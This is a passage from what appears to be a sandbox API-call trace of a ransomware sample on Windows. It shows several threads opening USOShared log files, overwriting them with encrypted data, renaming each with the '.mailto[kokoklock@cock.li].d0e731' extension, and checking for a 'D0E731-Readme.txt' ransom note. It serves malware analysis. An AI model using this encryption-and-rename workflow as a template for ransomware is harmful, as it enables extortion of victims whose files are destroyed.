_Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731" [0081.394] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.395] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.395] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl", dwFileAttributes=0x2020) returned 0 [0081.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.395] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.395] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.395] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b848) returned 1 [0081.395] RtlExitUserThread (Status=0x1) Thread: id = 1054 os_tid = 0x177c [0081.398] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl")) returned 0x2020 [0081.399] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl", dwFileAttributes=0x20) returned 1 [0081.399] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.399] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25c3fe68 | out: lpFileSize=0x25c3fe68*=20480) returned 1 [0081.399] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x4ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.399] ReadFile (in: hFile=0x458, lpBuffer=0x25c3fe3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25c3fe38, lpOverlapped=0x0 | out: lpBuffer=0x25c3fe3c*, lpNumberOfBytesRead=0x25c3fe38*=0x4, lpOverlapped=0x0) returned 1 [0081.403] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.403] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.403] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.403] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3d8 [0081.403] NtQuerySystemTime (in: CurrentTime=0x25c3fe14 | out: CurrentTime=0x25c3fe14*=132121176393038607) returned 0x0 [0081.403] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xac1ab3aa [0081.403] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xb6822b0b [0081.403] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xcf54091e [0081.403] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x8af6e980 [0081.403] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xe77378e8 [0081.403] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xf14feabf [0081.403] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xf0bbd5e [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xa7e25fed [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x9bdbc03d [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x85d0395e [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x2d3b44db [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xb17cb26f [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xfa6cf9b4 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x59bf30b0 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x3372d7cf [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x962c1598 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x4ac61ab5 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x12b729f4 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x45b440d9 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x9ec21e7a [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xbefdc9d8 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xf2f5140d [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x96963971 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xb59abe23 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xc1fc3be4 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x38fb0bf8 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xa436cd55 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x1690469e [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xb2058620 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x3591fbc0 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0x38ad59a4 [0081.404] RtlRandom (in: Seed=0x25c3fe20 | out: Seed=0x25c3fe20) returned 0xc5970e0f [0081.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.415] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.415] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x25c3fdec, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25c3fdec*=0x4096, lpOverlapped=0x0) returned 1 [0081.416] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e450 [0081.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e450) returned 1 [0081.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.417] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x25c3fdec, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25c3fdec*=0x4096, lpOverlapped=0x0) returned 1 [0081.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.417] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x5000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.417] WriteFile (in: hFile=0x458, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25c3fe24, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25c3fe24*=0x20, lpOverlapped=0x0) returned 1 [0081.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.417] WriteFile (in: hFile=0x458, lpBuffer=0x342e590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25c3fe38, lpOverlapped=0x0 | out: lpBuffer=0x342e590*, lpNumberOfBytesWritten=0x25c3fe38*=0x8, lpOverlapped=0x0) returned 1 [0081.417] WriteFile (in: hFile=0x458, lpBuffer=0x25c3fe50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25c3fe38, lpOverlapped=0x0 | out: lpBuffer=0x25c3fe50*, lpNumberOfBytesWritten=0x25c3fe38*=0x4, lpOverlapped=0x0) returned 1 [0081.417] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25c3fe38, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25c3fe38*=0x4, lpOverlapped=0x0) returned 1 [0081.418] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25c3fe38, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25c3fe38*=0x6c, lpOverlapped=0x0) returned 1 [0081.418] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25c3fe38, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x25c3fe38*=0x20, lpOverlapped=0x0) returned 1 [0081.418] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25c3fe38, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25c3fe38*=0x4, lpOverlapped=0x0) returned 1 [0081.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e428) returned 1 [0081.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e590) returned 1 [0081.418] CloseHandle (hObject=0x458) returned 1 [0081.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.418] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" [0081.418] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731" [0081.418] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.419] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.419] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl", dwFileAttributes=0x2020) returned 0 [0081.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.419] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.419] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.419] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b4b8) returned 1 [0081.420] RtlExitUserThread (Status=0x1) Thread: id = 1055 os_tid = 0x1780 [0081.415] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl")) returned 0x2020 [0081.421] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl", dwFileAttributes=0x20) returned 1 [0081.421] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.422] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25cbfb50 | out: lpFileSize=0x25cbfb50*=8192) returned 1 [0081.422] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.422] ReadFile (in: hFile=0x458, lpBuffer=0x25cbfb24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x25cbfb24*, lpNumberOfBytesRead=0x25cbfb20*=0x4, lpOverlapped=0x0) returned 1 [0081.423] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e590 [0081.423] NtQuerySystemTime (in: CurrentTime=0x25cbfafc | out: CurrentTime=0x25cbfafc*=132121176393184992) returned 0x0 [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x2010496b [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x1ceb2795 [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xa7e8c3c2 [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x89fc065f [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x7f9d02ac [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xb481c96f [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xe1d3d5ad [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xd5d44851 [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x15f6c459 [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x90928c21 [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x763059cf [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xdd5b1bca [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xb4266e94 [0081.423] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x3940a9b2 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x4b011eb [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x6f0b927 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x9907e [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x1b0b549f [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xb0d03433 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x45e94435 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x89eff35d [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x47bcbfd [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x78697218 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x21127911 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x4d713fc4 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x263033bc [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x3fd13ad1 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x89bfc14 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xd2009f23 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0x777f02f3 [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xb5b3df4b [0081.424] RtlRandom (in: Seed=0x25cbfb08 | out: Seed=0x25cbfb08) returned 0xe92f680a [0081.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0081.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0081.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0081.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e428 [0081.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e428) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.435] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x25cbfafc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25cbfafc*=0x2000, lpOverlapped=0x0) returned 1 [0081.438] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cbfac4 | out: lpNewFilePointer=0x0) returned 1 [0081.438] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x25cbfaf8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25cbfaf8*=0x2000, lpOverlapped=0x0) returned 1 [0081.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e5e0 [0081.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e108 [0081.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e108) returned 1 [0081.439] WriteFile (in: hFile=0x458, lpBuffer=0x342e5e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25cbfaf4, lpOverlapped=0x0 | out: lpBuffer=0x342e5e0*, lpNumberOfBytesWritten=0x25cbfaf4*=0x20, lpOverlapped=0x0) returned 1 [0081.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5e0) returned 1 [0081.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0081.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0081.439] WriteFile (in: hFile=0x458, lpBuffer=0x342e478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x342e478*, lpNumberOfBytesWritten=0x25cbfb20*=0x8, lpOverlapped=0x0) returned 1 [0081.439] WriteFile (in: hFile=0x458, lpBuffer=0x25cbfb38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x25cbfb38*, lpNumberOfBytesWritten=0x25cbfb20*=0x4, lpOverlapped=0x0) returned 1 [0081.439] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25cbfb20*=0x4, lpOverlapped=0x0) returned 1 [0081.439] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25cbfb20*=0x6c, lpOverlapped=0x0) returned 1 [0081.439] WriteFile (in: hFile=0x458, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25cbfb20*=0x20, lpOverlapped=0x0) returned 1 [0081.439] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25cbfb20*=0x4, lpOverlapped=0x0) returned 1 [0081.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5b8) returned 1 [0081.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e478) returned 1 [0081.440] CloseHandle (hObject=0x458) returned 1 [0081.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.440] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" [0081.440] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731" [0081.440] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.440] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.441] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl", dwFileAttributes=0x2020) returned 0 [0081.441] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc88 [0081.441] wcscpy (in: _Dest=0x347fc88, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.441] wcscat (in: _Dest=0x347fc88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.441] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0081.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 